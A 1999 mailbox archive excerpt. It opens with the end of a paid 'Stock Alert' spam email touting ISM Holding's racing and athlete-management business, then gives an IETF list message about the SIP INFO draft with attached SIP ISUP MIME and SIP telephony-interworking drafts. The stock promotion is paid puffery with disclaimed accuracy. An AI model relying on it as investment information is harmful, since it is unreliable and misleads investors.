    management company specializing in three major areas of professional sports management;
    Sports Marketing, Athlete Management, and Professional Race Team Management. Since its
    inception, a number of major corporations and professional athletes have engaged the
    services of ISM to assist them in their sports marketing needs. The company has cultivated
    marketing opportunities for athletes in professional and collegiate sports such as;
    professional golf, football and basketball as well as owning and managing several
    professional auto-racing teams.</font></p>
    <p align="center"><font face="Arial" size="3"><strong>ISM HOLDING <a name="MANAGEMENT">MANAGEMENT</a></strong></font></p>
    <p align="left"><font face="Arial"><small>L.G. Hancher and Gary D. Sallee were co-founders
    of the company and are currently its principal shareholders.</small></font></p>
    <p><small><font face="Arial"><strong>L. G. Hancher</strong>, Chairman of ISM Holding, has
    a diversified professional motor sports marketing background. In 1985 while serving as
    Sales and Marketing Manager for the Raynor Garage Door Company, Mr. Hancher initiated
    Raynor&#146;s involvement in motorsports with a product sponsorship at the Indianapolis
    500 garages. The program was so successful in increasing sales of Raynor products that the
    following year Raynor purchased their own racing team and appointed Mr. Hancher as
    President and General Manager of the team.</font></small></p>
    <p><small><font face="Arial">He then went on to lead the Raynor team to a top ten standing
    in 1987 and 1988.</font></small></p>
    <p><small><font face="Arial">Following Mr. Hancher&#146;s success at Raynor, he began an
    entrepreneurial endeavor as an importer for Pi Research computer systems where he worked
    with leading race teams in NASCAR, INDY Car, Formula One and IMSA. He then furthered his
    racing experience as General Manager for the McKenzie Group Financial racing team and
    achieved top ten finishes in every oval race for the 1990 season. Mr. Hancher was managing
    partner of ISM Holding&#146;s FIRST PLUS/Team Cheever sponsored IRL Team, winning
    it&#146;s third race as a new team and the first race in 1997 at the Walt Disney 200 and
    continuing on to a third place finish at the prestigious Indianapolis 500 that year</font></small></p>
    <p><font face="Arial"><small><strong>Gary Sallee</strong>, President of ISM Holding, has
    been practicing general business law in Indianapolis, Indiana since 1981. His law practice
    has focused on sports and entertainment management as well as commercial real estate
    development. In 1993, Mr. Sallee together with Mr. Hancher formed International Sports
    Management. Mr. Sallee is an NFLPA contract advisor and has represented players in the
    NFL; USFL, CFL, NHL and other team based sports. During the early 80&#146;s He was also a
    member of the Board of Advisors of the Indianapolis Checkers IHL Hockey Team. Mr. Sallee
    has represented many personalities from the entertainment world including record
    companies, a recording studio, promoters and sponsors. He has also been involved in the
    organizing of special events such as the closing ceremonies for the Pan American games and
    the National Sports Festival, hosted by the city of Indianapolis. Mr. Sallee has also been
    involved with various charitable organizations such as the Hemophilia Foundation of
    Indiana where he served on the Board of Directors for more than ten years and as President
    has for five years. He recently served as a member of the Board of Directors of the
    National Hemophilia Foundation.</small></font></p>
    <p align="center"><a name="MOTORSPORTS"><strong><font face="Arial">MOTORSPORTS</font></strong></a></p>
    <p align="left"><font face="Arial"><small>In the motorsports field, ISM has actively been
    involved in race team ownership since 1997 and management since it&#146;s inception.
    Currently the company owns and manages a team that competes in the Indy Racing League
    (IRL) series. ISM Holding has been very successful in fielding winning cars and numerous
    front-line drivers since the team&#146;s inception in 1993.</small></font></p>
    <p><small><font face="Arial">For the 1997-1998 IRL season ISM Racing Corp. a subsidiary of
    ISM, fielded one car driven by Jeff Ward in all 11 IRL events. At the Disney 200, and the
    Phoenix 200 ISM fielded a two-car team. ISM was the only team in 1998 to have entered and
    successfully qualified three cars in the 1998 Indianapolis 500. Steve Knapp who finished
    third and won the coveted ROOKIE OF THE YEAR AWARD in 1998 drove one of the cars.</font></small></p>
    <p><font face="Arial"><small>During the 1997-1998 IRL season Jeff Ward finished third and
    won THE ROOKIE OF THE YEAR AWARD in the 1997 Indianapolis 500. In addition Jeff completed
    his first full IRL season with ISM Racing Corp. Jeff finished sixth in the 1997-1998
    points standings, was second in laps led with 326, had five top ten finishes, eight top
    ten starts, with one pole position, and started from the front row four times in eleven
    races.</small></font></p>
    <div align="center"><center><table border="0" cellpadding="0" cellspacing="0" width="100%">
      <tr>
        <td width="50%"><small><font face="Arial">With multi year co-title sponsorships from
        Thermo Tech Technologies (TTRIF) and Cease-Fire (BIOF), ISM Racing Corp. is again poised
        to be a top contending team for the 1998-1999 IRL season. </font></small></td>
        <td width="50%"><img src="../images/car35a.gif" WIDTH="368" HEIGHT="78"></td>
      </tr>
    </table>
    </center></div><p><small><font face="Arial">Associate sponsors Prolong Super Lubricants,
    National Car Rental, Volvo, Nextel, and other sponsors at various levels will benefit from
    the exposure on race day and the proven experience that the ISM team has in nurturing
    Business to Business relationships.</font></small></p>
    <p><small><font face="Arial">It is ISM&#146;s intent to own a majority interest in all
    open wheel-racing venues. All race teams will be based out of ISM&#146;s offices and shop
    facility, located in Indianapolis, Indiana. ISM will control all operational, financial,
    and management functions of the teams.</font></small></p>
    <p><font face="Arial"><small>In 1997, ISM became involved in the highly successful NASCAR
    Winston Cup series as an owner of a newly formed team. At the end of the season the
    company elected to sell its interest in the team. Nevertheless, ISM will continue to be
    involved in securing sponsors for the teams new owners.</small></font></p>
    <p align="center"><a name="SPORTS MANAGEMENT"><strong><font face="Arial">SPORTS </font><font
    face="Arial" size="3">MANAGEMENT</font></strong></a></p>
    <p align="left"><font face="Arial"><small>ISM management and staff have successfully
    developed programs for major corporations desiring to promote their products through
    professional athletes and sports leagues including The PGA, LPGA, SPGA Tour, NFL, NHL,
    NHRA, IMSA, USAC, NASCAR, and the IRL. With the diversified expertise and vast knowledge
    ISM intends to continue to expand the Sports Management segment of the business as sports
    marketing continues to grow as a viable way for corporations to market their products.</small></font></p>
    <p align="center"><a name="MARKETING"><font face="Arial"><strong>MARKETING</strong></font></a></p>
    <p align="left"><small><font face="Arial">ISM has a full time staff of professionals that
    focus on &quot;sports sponsorship solicitation&quot; for both motor sports as well as
    athletes. ISM marketing personnel focus on soliciting sponsorship monies from corporations
    looking to use sports marketing as a way to promote their products and services. As a
    result of the national media exposure and its fast pace level of excitement, auto racing
    has and is continuing to become one of the most popular areas of involvement for corporate
    America. Brand loyalty among race fans is the highest of any fan base in the world of
    professional sports.</font></small></p>
    <p><font face="Arial"><small>ISM through its management and marketing personnel have
    successfully developed and implemented many successful and profitable incremental revenue
    programs. ISM will continue to develop programs that can be designed to utilize the
    business to business relationships that the company has established in the past.</small></font></p>
    <p align="center"><a name="BUSINESS STRATEGY"><strong><font face="Arial">BUSINESS STRATEGY</font></strong></a></p>
    <p align="left"><font face="Arial"><small>The company is committed to solid systematic
    profitable growth through the expansion of its existing motorsports division. The company
    plans to expand from a one-car team to a two-car team in the IRL series. The company will
    continue to aggressively pursue its Athlete Management endeavors by finding new players to
    join the ever-growing stable of professional athletes that it currently represents. The
    company will continue ride the current wave of corporate sponsorship involvement to
    maximize their sports marketing programs.</small></font></td>
  </tr>
</table>
</center></div>

<p align="center"><br>
<small><font face="Arial">DISCLAIMER </font></small></p>

<p align="center">=========================================================== </p>

<p><font face="Arial"><small>The sender of this report cannot and does not warrant the
completeness, accuracy, merchant ability, or fitness of the news, information, or
entertainment content found herein for any particular purpose. Further, you agree that the
sender shall not be held liable to anyone for any loss or injury resulting from the direct
or indirect use of this report. This includes, but is not limited to, loss or injury
caused in whole or in part by its negligence or by contingencies beyond its control in
procuring, compiling, interpreting, reporting or delivering any portion of this report.
You agree that you bear responsibility for your own investment research and investment
decisions, and that the sender of this report shall not be liable for any decision made or
action taken by you or others based upon reliance on news, information, or any material
published herein. All information provided herein is to be used on an &quot;as is, with
all faults&quot; basis. The sender of this report relies on various sources of information
that we believe to be accurate and reliable. However, the sender makes no claims or
representations with regard to the accuracy, completeness, or truth of any material
contained herein. The sender of this email was paid $2,000 in return for this service. </small></font></p>

<p align="center"><small><font face="Arial">TO UNSUBSCRIBE </font></small></p>

<p align="center">=========================================================== </p>

<p><small>To be removed from the Stock Alert mailing list, reply to this message with the
word REMOVE or UNSUBSCRIBE in the subject and include your e-mail address in the text of
your reply. Please note: if you have more than one e-mail address, include ALL of your
addresses in the text of your reply to ensure removal from the mailing list. </small></p>
</body>
</html>



From confctrl-owner  Mon Aug 23 07:08:35 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA19486
	for confctrl-outgoing; Mon, 23 Aug 1999 07:08:35 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA19481
	for <confctrl@zephyr.isi.edu>; Mon, 23 Aug 1999 07:08:34 -0700 (PDT)
Received: from omzrelay03.mcit.com (omzrelay03.mcit.com [199.249.19.245])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA08698
	for <confctrl@ISI.EDU>; Mon, 23 Aug 1999 07:08:32 -0700 (PDT)
Received: from omzrelay.mcit.com ([166.37.204.49])
 by firewall.mcit.com (PMDF V5.2-32 #38418)
 with ESMTP id <0FGX007CZ8JLRD@firewall.mcit.com> for confctrl@ISI.EDU; Mon,
 23 Aug 1999 14:06:58 +0000 (GMT)
Received: from omzexch007.mcit.com (OMZEXCH007.mcit.com [166.37.194.38])
 by omzrelay.mcit.com (8.8.7/) with ESMTP	id OAA08162 for <confctrl@ISI.EDU>;
 Mon, 23 Aug 1999 14:08:15 +0000 (GMT)
Received: by omzexch007 with Internet Mail Service (5.5.2571.0)
	id <RFWXKCVC>; Mon, 23 Aug 1999 14:06:55 +0000
Content-return: allowed
Date: Mon, 23 Aug 1999 14:06:48 +0000
From: "Donovan, Steven R." <Steven.R.Donovan@wcom.com>
Subject: FW: Info Method draft
To: confctrl@ISI.EDU
Message-id: <93496446F5EDD211A8C100805FEAD74901C31D@nsrip00207.mcit.com>
MIME-version: 1.0
X-Mailer: Internet Mail Service (5.5.2571.0)
Content-type: multipart/mixed;	boundary="----_=_NextPart_000_01BEED70.C169085E"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_000_01BEED70.C169085E
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01BEED70.C169085E"


------_=_NextPart_001_01BEED70.C169085E
Content-Type: text/plain;
	charset="ISO-8859-1"

Please let me know if there are any objections to the attached request from
Aparna Vemuri of Level 3.  Aparna has requested that the INFO draft
reference Eric Zimmerer's ISUP MIME draft instead of the original draft from
Christian Huitema.

I would like to get feedback from the list before agreeing to make this
change.

Regards,

Steve

-----Original Message-----
From: Aparna.Vemuri@Level3.com [mailto:Aparna.Vemuri@Level3.com] 
Sent: Wednesday, August 18, 1999 3:04 PM
To: Donovan, Steven R.
Cc: ericz@ipverse.com; Catherine.Trebnick@Level3.com
Subject: Info Method draft


Hello,
My name is Aparna Vemuri and I work in the area of Standards at Level 3
Communications. Eric Zimmerer (ipVerse) and I are working on the SIP-BCP
document. 
 
Our idea is to reference your new INFO draft in our BCP. However, we would
like to suggest that the INFO draft reference our Internet draft ("The SIP
ISUP MIME Type"
http://www.ietf.org/internet-drafts/draft-zimmerer-mmusic-sip-isup-mime-00.t
xt
<http://www.ietf.org/internet-drafts/draft-zimmerer-mmusic-sip-isup-mime-00.
txt>  ) instead of that of Christian Huitema's. I have enclosed a copy of
the following for your reference
a) The SIP-ISUP MIME type (draft_zimmerer_mmusic_sip_isup_mime_00.txt)
b) The SIP-BCP-T (unfinished) (draft-ietf-mmusic-sip-bcp-t-01.txt)
     
Please let us know what you think.
 
Thanks,
Aparna V. 
Level 3 Communications, 
(303) 926-3768 
 

-----Original Message-----
From: Donovan, Steven R. [mailto:Steven.R.Donovan@wcom.com]
Sent: Tuesday, July 27, 1999 10:36 AM
To: 'Eric Zimmerer'
Cc: Vemuri, Aparna
Subject: RE: Info Method draft



Eric, 

I don't see any particular issues with the changes (by the way, you were 
using an old version of the draft.  I submitted a newer version prior 
to the Oslo IETF meeting).  However, before changing the draft, I would 
like to see your idea on the ISUP MIME attachment discussed on the 
MMUSIC list. 

Do you intend to submit it as a draft?  If there is consensus on the 
list with your approach then I will be happy to change the INFO draft 
to refer to your draft. 

Regards, 

Steve 

-----Original Message----- 
From: Eric Zimmerer [ mailto:eric.zimmerer@Level3.com
<mailto:eric.zimmerer@Level3.com> ] 
Sent: Thursday, July 22, 1999 10:43 AM 
To: Donovan, Steven R. 
Cc: Vemuri, Aparna 
Subject: Info Method draft 


Steven, 

I have been working on the SS2SS BCP lately.  What do 
you think of the edits we made to your INFO draft? 

We basically replaced the reference to Christian's 
specific implementation to the generic MIME multipart. 

I would like to include this edited draft in the BCP. 

Thanks, 

Eric Zimmerer 
Level 3 Communications, Inc. 
Phone: 303-926-3142 



------_=_NextPart_001_01BEED70.C169085E
Content-Type: text/html;
	charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3DISO-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2569.0">
<TITLE>FW: Info Method draft</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>Please let me know if there are any objections to the =
attached request from Aparna Vemuri of Level 3.&nbsp; Aparna has =
requested that the INFO draft reference Eric Zimmerer's ISUP MIME draft =
instead of the original draft from Christian Huitema.</FONT></P>

<P><FONT SIZE=3D2>I would like to get feedback from the list before =
agreeing to make this change.</FONT>
</P>

<P><FONT SIZE=3D2>Regards,</FONT>
</P>

<P><FONT SIZE=3D2>Steve</FONT>
</P>

<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: Aparna.Vemuri@Level3.com [<A =
HREF=3D"mailto:Aparna.Vemuri@Level3.com">mailto:Aparna.Vemuri@Level3.com=
</A>] </FONT>
<BR><FONT SIZE=3D2>Sent: Wednesday, August 18, 1999 3:04 PM</FONT>
<BR><FONT SIZE=3D2>To: Donovan, Steven R.</FONT>
<BR><FONT SIZE=3D2>Cc: ericz@ipverse.com; =
Catherine.Trebnick@Level3.com</FONT>
<BR><FONT SIZE=3D2>Subject: Info Method draft</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>Hello,</FONT>
<BR><FONT SIZE=3D2>My name is Aparna Vemuri and I work in the area of =
Standards at Level 3</FONT>
<BR><FONT SIZE=3D2>Communications. Eric Zimmerer (ipVerse) and I are =
working on the SIP-BCP</FONT>
<BR><FONT SIZE=3D2>document. </FONT>
<BR><FONT SIZE=3D2>&nbsp;</FONT>
<BR><FONT SIZE=3D2>Our idea is to reference your new INFO draft in our =
BCP. However, we would</FONT>
<BR><FONT SIZE=3D2>like to suggest that the INFO draft reference our =
Internet draft (&quot;The SIP</FONT>
<BR><FONT SIZE=3D2>ISUP MIME Type&quot;</FONT>
<BR><FONT SIZE=3D2><A =
HREF=3D"http://www.ietf.org/internet-drafts/draft-zimmerer-mmusic-sip-is=
up-mime-00.t" =
TARGET=3D"_blank">http://www.ietf.org/internet-drafts/draft-zimmerer-mmu=
sic-sip-isup-mime-00.t</A></FONT>
<BR><FONT SIZE=3D2>xt</FONT>
<BR><FONT SIZE=3D2>&lt;<A =
HREF=3D"http://www.ietf.org/internet-drafts/draft-zimmerer-mmusic-sip-is=
up-mime-00" =
TARGET=3D"_blank">http://www.ietf.org/internet-drafts/draft-zimmerer-mmu=
sic-sip-isup-mime-00</A>.</FONT>
<BR><FONT SIZE=3D2>txt&gt;&nbsp; ) instead of that of Christian =
Huitema's. I have enclosed a copy of</FONT>
<BR><FONT SIZE=3D2>the following for your reference</FONT>
<BR><FONT SIZE=3D2>a) The SIP-ISUP MIME type =
(draft_zimmerer_mmusic_sip_isup_mime_00.txt)</FONT>
<BR><FONT SIZE=3D2>b) The SIP-BCP-T (unfinished) =
(draft-ietf-mmusic-sip-bcp-t-01.txt)</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp; </FONT>
<BR><FONT SIZE=3D2>Please let us know what you think.</FONT>
<BR><FONT SIZE=3D2>&nbsp;</FONT>
<BR><FONT SIZE=3D2>Thanks,</FONT>
<BR><FONT SIZE=3D2>Aparna V. </FONT>
<BR><FONT SIZE=3D2>Level 3 Communications, </FONT>
<BR><FONT SIZE=3D2>(303) 926-3768 </FONT>
<BR><FONT SIZE=3D2>&nbsp;</FONT>
</P>

<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: Donovan, Steven R. [<A =
HREF=3D"mailto:Steven.R.Donovan@wcom.com">mailto:Steven.R.Donovan@wcom.c=
om</A>]</FONT>
<BR><FONT SIZE=3D2>Sent: Tuesday, July 27, 1999 10:36 AM</FONT>
<BR><FONT SIZE=3D2>To: 'Eric Zimmerer'</FONT>
<BR><FONT SIZE=3D2>Cc: Vemuri, Aparna</FONT>
<BR><FONT SIZE=3D2>Subject: RE: Info Method draft</FONT>
</P>
<BR>
<BR>

<P><FONT SIZE=3D2>Eric, </FONT>
</P>

<P><FONT SIZE=3D2>I don't see any particular issues with the changes =
(by the way, you were </FONT>
<BR><FONT SIZE=3D2>using an old version of the draft.&nbsp; I submitted =
a newer version prior </FONT>
<BR><FONT SIZE=3D2>to the Oslo IETF meeting).&nbsp; However, before =
changing the draft, I would </FONT>
<BR><FONT SIZE=3D2>like to see your idea on the ISUP MIME attachment =
discussed on the </FONT>
<BR><FONT SIZE=3D2>MMUSIC list. </FONT>
</P>

<P><FONT SIZE=3D2>Do you intend to submit it as a draft?&nbsp; If there =
is consensus on the </FONT>
<BR><FONT SIZE=3D2>list with your approach then I will be happy to =
change the INFO draft </FONT>
<BR><FONT SIZE=3D2>to refer to your draft. </FONT>
</P>

<P><FONT SIZE=3D2>Regards, </FONT>
</P>

<P><FONT SIZE=3D2>Steve </FONT>
</P>

<P><FONT SIZE=3D2>-----Original Message----- </FONT>
<BR><FONT SIZE=3D2>From: Eric Zimmerer [ <A =
HREF=3D"mailto:eric.zimmerer@Level3.com">mailto:eric.zimmerer@Level3.com=
</A></FONT>
<BR><FONT SIZE=3D2>&lt;<A =
HREF=3D"mailto:eric.zimmerer@Level3.com">mailto:eric.zimmerer@Level3.com=
</A>&gt; ] </FONT>
<BR><FONT SIZE=3D2>Sent: Thursday, July 22, 1999 10:43 AM </FONT>
<BR><FONT SIZE=3D2>To: Donovan, Steven R. </FONT>
<BR><FONT SIZE=3D2>Cc: Vemuri, Aparna </FONT>
<BR><FONT SIZE=3D2>Subject: Info Method draft </FONT>
</P>
<BR>

<P><FONT SIZE=3D2>Steven, </FONT>
</P>

<P><FONT SIZE=3D2>I have been working on the SS2SS BCP lately.&nbsp; =
What do </FONT>
<BR><FONT SIZE=3D2>you think of the edits we made to your INFO draft? =
</FONT>
</P>

<P><FONT SIZE=3D2>We basically replaced the reference to Christian's =
</FONT>
<BR><FONT SIZE=3D2>specific implementation to the generic MIME =
multipart. </FONT>
</P>

<P><FONT SIZE=3D2>I would like to include this edited draft in the BCP. =
</FONT>
</P>

<P><FONT SIZE=3D2>Thanks, </FONT>
</P>

<P><FONT SIZE=3D2>Eric Zimmerer </FONT>
<BR><FONT SIZE=3D2>Level 3 Communications, Inc. </FONT>
<BR><FONT SIZE=3D2>Phone: 303-926-3142 </FONT>
</P>

<P><FONT FACE=3D"Arial" SIZE=3D2 COLOR=3D"#000000"></FONT><FONT =
FACE=3D"Arial" SIZE=3D2 COLOR=3D"#000000"></FONT>&nbsp;

</BODY>
</HTML>
------_=_NextPart_001_01BEED70.C169085E--

------_=_NextPart_000_01BEED70.C169085E
Content-Type: text/plain;
	name="draft-zimmerer-mmusic-sip-isup-mime-00.txt"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="draft-zimmerer-mmusic-sip-isup-mime-00.txt"

Internet Engineering Task Force                     Eric Zimmerer
Internet Draft                                      Level 3 =
Communications	=09
draft-zimmerer-mmusic-sip-isup-mime-00.txt          Aparna Vemuri
July 1999                                           Level 3 =
Communications
Expires: January 2000       =20

	               The SIP ISUP/MIME type
                   =20
Status of this Memo

This document is an Internet-Draft and is in full conformance
with all provisions of Section 10 of RFC2026.  Internet-Drafts are
working documents of the Internet Engineering Task Force (IETF), its
areas, and its working groups.  Note that other groups may also=20
distribute working documents as Internet-Drafts.

Internet-Drafts are draft documents valid for a maximum of six months
and may be updated, replaced, or obsoleted by other documents at any=20
time. It is inappropriate to use Internet-Drafts as reference=20
material or to cite them other than as "work in progress."

The list of current Internet-Drafts can be accessed at
http://www.ietf.org/ietf/1id-abstracts.txt

The list of Internet-Draft Shadow Directories can be accessed at
http://www.ietf.org/shadow.html.

1. Abstract

This document  proposes the definition of an application/ISUP media=20
type, according to the rules defined in RFC 2048 [1].

2. Introduction

ISUP (ISDN User part) defined in the ITU-T recommendations Q.761-4 is=20
a signaling protocol used between telephony switches. There exists a=20
need to transport ISUP messages between SoftSwitches as being part of=20
the payload of SIP [2] messages. The following discussion is specific
to this usage and would not apply to the transportation of ISUP=20
messages in other applications.

3. The application/ISUP media type

The ISUP messages are composed of arbitrary binary data. The best way=20
to encode these would be to use binary encoding. This is in=20
conformance with the restrictions imposed on the use of binary data

Zimmerer, Vemuri  draft-zimmerer-mmusic-sip-isup-mime-00.txt  [Page 1]
Internet Draft     The SIP ISUP/MIME type            July 1999

conformance with the restrictions imposed on the use of binary data=20
for MIME (RFC 2045 [3]). It should be noted that the rules mentioned=20
in the RFC 2045 apply to Internet mail messages and not to SIP=20
messages. Binary has been preferred over Base64 encoding because=20
the latter would only result in adding bulk to the encoded messages=20
as well as prove costly in terms of processing power.
This media type is defined by the following information:

Media type name: application
Media subtype name: ISUP
Required parameters: none
Optional parameters: version
Encoding scheme: binary
Security considerations: See section 5.

Note: It is mandatory for SoftSwitches to specify the 'version' of=20
the ISUP message. Proxies, redirect servers, etc., have no need to=20
process/specify this information.

The use of the 'version' parameter allows differentiation between=20
different ISUP variants. This enables the terminating SoftSwitch (also
known as media gateway) to recognize and parse the message correctly,=20
or (possibly) to reject the message if the  particular ISUP variant is
not supported. The idea here is to allow to specify a preference of=20
version, so that the following scenarios are possible: "I only like
application/isup;version=3Dlcd" or "I accept application/isup (but =
don't
really know the details; I just pass them on to some other tool that=20
displays/munges them)".=20
The following is how a typical header would look:-

	Content-Type: application/ISUP
	Version: ETSIv1
	Content-Transfer-Encoding: binary

Table 1 is a partial list of protocol versions supported by the=20
'application/ISUP' media type.

	Version	        Protocol
        -------	        --------
     	ANSI-ISUP	ANSI ISUP
	ETSI-ISUP	ETSI ISUP
	GR-317	        Bellcore ISUP GR-317
	BTNUP		BT NUP
	R2		R2

Zimmerer, Vemuri  draft-zimmerer-mmusic-sip-isup-mime-00.txt  [Page 2]
Internet Draft     The SIP ISUP/MIME type            July 1999

4. Illustrative example

SIP message format requires a Request line followed by Header lines
followed by a CRLF separator followed by the message body. To
illustrate the use of the 'application/ISUP' media type, below is
an INVITE message which has the originating SDP information and
an encapsulated ISUP IAM.

Note that the two payloads are demarcated by the boundary parameter
(specified in RFC 2046 [4]) which in the example has the value=20
"unique-boundary-1". This is part of the specification of MIME=20
multipart and is not related to the 'application/ISUP' media type.

     	INVITE sip:13039263142@Den1.level3.com SIP/2.0
	From: sip:13034513355@den3.level3.com
	To: sip:13039263142@Den1.level3.com
	Call-ID: DEN1231999021712095500999@Den1.level3.com
	Content-Type: Application/ Multipart
	Content-Length: 327

	MIME-Version: 1.0         =20
	Content-Type: multipart/mixed; boundary=3Dunique-boundary-1

	--unique-boundary-1
	Content-Type: application/SDP; charset=3DISO-10646
          =20
	v=3D0
	o=3Dezimmerer 2890844526 2890842807 IN IP4 126.16.64.4
	s=3DSDP seminar
   	c=3DIN IP4 MG122.level3.com
	t=3D 2873397496	2873404696
	m=3Daudio 9092 RTP/AVP 0 3 4

	--unique-boundary-1
	Content-type:application/ISUP
	Version:ETSIv1
	Content-Transfer-Encoding: binary

	89 8b 0e 95 1e 1e 1e 06 26 05 0d f5 01 06 10 04 00=20

	--unique-boundary-1--




Zimmerer, Vemuri  draft-zimmerer-mmusic-sip-isup-mime-00.txt  [Page 3]
Internet Draft     The SIP ISUP/MIME type            July 1999

5. Security considerations

The security mechanisms described in RFC 2543 (SIP - Session
Initiation Protocol) should suffice. No new security considerations
are thought necessary.

6. Authors

Eric Zimmerer   =20
Level 3 Communications
Louisville, CO, USA
Phone: 303-926-3142
EMail: eric.zimmerer@level3.com

Aparna Vemuri   =20
Level 3 Communications
Louisville, CO, USA
Phone: 303-926-3768
EMail: aparna.vemuri@level3.com

7. References

[1] Freed, Klensin, Postel, "Multipart Internet Mail Extensions (MIME)
Part Four: Registration Procedures" RFC 2048, Internet Engineering
Task Force, November 1996.

[2] Handley, Schulzrinne, Schooler and Rosenberg, "Session Initiation
Protocol (SIP)" RFC 2543, Internet Engineering Task Force, March 1999.

[3] Freed, Borenstein, "Multipart Internet Mail Extensions (MIME) Part
One: Format of Internet Message Bodies" RFC 2045, Internet Engineering
Task Force, November 1996.

[4] Freed, Borenstein, "Multipart Internet Mail Extensions (MIME) Part
Two: Media Types" RFC 2046, Internet Engineering Task Force, November
1996.









Zimmerer, Vemuri  draft-ietf-mmusic-sip-isup-mime-00.txt  [Page 4]=20



------_=_NextPart_000_01BEED70.C169085E
Content-Type: text/plain;
	name="draft-ietf-mmusic-sip-bcp-t-01.txt"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="draft-ietf-mmusic-sip-bcp-t-01.txt"

INTERNET DRAFT                        	      Eric Zimmerer          =20
Category: Informational                Level 3 Communications
<draft-ietf-mmusic-sip-bcp-t-00.txt>     	      Aparna Vemuri
Date: July 1999                        Level 3 Communications
Expires: January 2000                          Vijay Nadkarni
                                                ipVerse, Inc.
                                                 Brian Morgan
                                                ipVerse, Inc.
                                            Gonzalo Camarillo        =20
                                              L M Ericsson Ab       =20


            SIP Best Current Practice for Telephony Interworking


Status of this Memo

This document is an Internet-Draft and is in full conformance
with all provisions of Section 10 of RFC 2026.  Internet-Drafts are
working documents of the Internet Engineering Task Force (IETF), its=20
areas, and its working groups.  Note that other groups may also=20
distribute working documents as Internet-Drafts.

Internet-Drafts are draft documents valid for a maximum of six=20
months and may be updated, replaced, or obsoleted by other=20
documents at any time.  It is inappropriate to use Internet-
Drafts as reference material or to cite them other than as=20
"work in progress."

The list of current Internet-Drafts can be accessed at
http://www.ietf.org/ietf/1id-abstracts.txt

The list of Internet-Draft Shadow Directories can be accessed at
http://www.ietf.org/shadow.html.

Abstract

This document describes inter Media Gateway Controller (MGC)
communication using SIP.  SIP, with certain extensions,=20
facilitates the exchange of signaling information between an=20
Originating MGC and a Terminating MGC to complete calls.  This=20
document describes the best current practice for using SIP to=20
perform this function.  Where possible this draft references=20
necessary documents, and details the concepts and methods of=20
encapsulating PSTN signaling information in SIP messages.

1. Introduction

This document describes Inter Media Gateway Controller=20
communication using SIP[1]. SIP can be used to communicate=20
from a SIP User Agent to another SIP User Agent, from a SIP=20
User Agent to a Media Gateway Controller (MGC), and from one=20
MGC to another MGC.  This document details how to best use=20
SIP to communicate from one MGC to another MGC.

This document DOES NOT describe a new protocol.  The=20
intention of this document is to detail or reference=20
the methods, standards and tools necessary to enable=20
MGCs to interoperate via the SIP protocol.=20

The SIP BCP-T facilitates the exchange of information=20
between an Originating Media Gateway Controller and=20
a Terminating Media Gateway Controller so that calls=20
may be completed.  When SIP is used in the MGC-to-MGC=20
space, there are many cases where it must "bridge" PSTN=20
networks with IP networks.  To do this, SIP must be extended=20
to transport PSTN signaling information.  By extending SIP=20
messaging, and adding PSTN signaling encapsulation=20
functionality, the SIP BCP-T satisfies the requirements=20
for MGC-to-MGC communication.
SIP provides the methods to set up, tear down and manage=20
voice and data sessions.  The extensions described and/or=20
referenced in this document enable SIP to encapsulate a=20
variety of PSTN signaling types including but not limited=20
to SS7, and Q.931.

         +--------+          +--------+          +--------+
         |        |<--SIP--->| Proxy  |<--SIP--->|        |
     +---|   MGC  |          +--------+          |  MGC   |---+
     |   |        |<------------SIP------------->|        |   |
     |   +--------+                              +--------+   |
   SS7       |                                        |      SS7
 Signal      |                                        |     Signal
   Link   +------+               IP                +------+  Link
     |    |  MG  |------------ Network ------------|  MG  |   |=20
     |    +------+                                 +------+   |=20
     |       |   \                                  /   |     |=20
     |       |    Q.931 trunk               CAS trunk   |     | =20
     |    SS7 trunk \                            /  SS7 trunk |=20
     |       |       \                          /       |     |=20
     |    +-----------------------------------------------+   |=20
     +----|                     PSTN                      |---+
          +-----------------------------------------------+  =20

                   Figure 1: Use of the SIP BCP-T

Figure 1 shows a basic network configuration using SIP BCP-T.=20
In this example Media Gateways are connected to the Public=20
Switched Telephone Network (PSTN) via SS7 trunks, Q.931 trunks,=20
and Channel Associated Signaling (CAS) trunks.  The Originating=20
Media Gateway Controller may receive a call over any of these=20
trunks.  The signaling information from these trunks must be=20
processed by the MGC to establish the originating half of the=20
call, and to determine the identity of the Terminating MGC=20
required to complete the call.  The originating MGC uses SIP=20
to communicate the necessary information to the terminating=20
MGC to complete the call.  The terminating MGC must be able to=20
establish the terminating call half on any of the supported=20
trunk types.

The PSTN has many regional and national signaling variants=20
which make interoperability difficult.  A key design goal of=20
the SIP BCP-T is to document a single standard method for MGCs=20
to interoperate.  Therefore, the SIP BCP-T will use international=20
digit analysis, dialing plans, and interoperability standards=20
from the PSTN rather than any single National or regional variants. =20
To guard against regional variations, the SIP BCP-T is being design=20
for international use from the start.  The basic method of routing=20
calls will use ITU-T E.164 [2] numbering, and will adhere to=20
international routing of telephone numbers.

The SIP BCP-T focuses on communication between MGCs, but must also=20
address the security concerns of SIP User Agents communicating with =
MGCs. =20
The information contained in MGC-to-MGC messages is sensitive, and=20
must be secured from SIP User Agents accessing the network.

The SIP BCP-T reflects the design goals of efficient call setup and=20
scalability.  This document describes a SIP implementation that is=20
